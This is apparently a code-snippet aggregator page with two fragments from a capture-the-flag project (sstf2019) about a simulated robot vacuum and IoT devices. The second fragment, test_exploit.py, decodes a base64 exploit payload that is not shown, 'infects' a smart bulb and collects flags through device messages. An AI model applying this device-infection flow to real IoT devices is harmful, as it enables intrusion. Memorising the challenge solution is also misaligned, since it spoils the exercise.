コード例 #1
0
ファイル: test_vacuum_1.py プロジェクト: synod2/sstf2019
        print("Trying to go forward - success : {}".format(
            cleaner.move(MoveDirection.FORWARD)))
    if cleaner.check_passability():
        print("Trying to go forward - success : {}".format(
            cleaner.move(MoveDirection.FORWARD)))

    if cleaner.check_passability():
        print("There is free space in front of device!")
        print("Trying to go forward - success : {}".format(
            cleaner.move(MoveDirection.FORWARD)))
    else:
        print("There is NO free space in front of device!")
    cleaner.print_env()

    print("Trying to clean surface - success : {}".format(
        cleaner.clean_surface()))
    cleaner.print_env()

    discovered_things = cleaner.discover_things()
    for thing in discovered_things:
        cleaner.send_message(thing, "Message from vacuum cleaner!")

    print("Discovered things: {}".format(discovered_things))
    print("Trying to send debug message - success : {}".format(
        cleaner.send_debug_message("Message: test")))
    # print("Trying to return to dock - success : {}".format(cleaner.return_dock()))
    cleaner.print_env()

    print("Trying to rotate right - success : {}".format(
        cleaner.rotate(RotateDirection.RIGHT)))
コード例 #2
0
ファイル: test_exploit.py プロジェクト: synod2/sstf2019
        cleaner.send_debug_message(
            "Did not receive flag from : {}".format(device_name))
        return ""

if __name__ == '__main__':
    flags = ""
    cleaner = VacuumCleaner()
    exploit = base64.b64decode(EXPLOIT_4)

    # infect first bulb
    infect_device(cleaner)
    time.sleep(15)

    things = cleaner.discover_things()
    for device in things:
        cleaner.send_message(device,
                             "FLAGFLAGFLAG" + cleaner.get_dev_id()[:10])

    # wait for result
    flags += wait_flag(cleaner, "P1_")

    things = cleaner.discover_things()
    for device in things:
        cleaner.send_message(device, "STOPSTOPSTOP")

    dump_flag(cleaner, flags)
    flags = ""

    # go to second bulb

    for i in range(0, 7):
        cleaner.move(MoveDirection.FORWARD)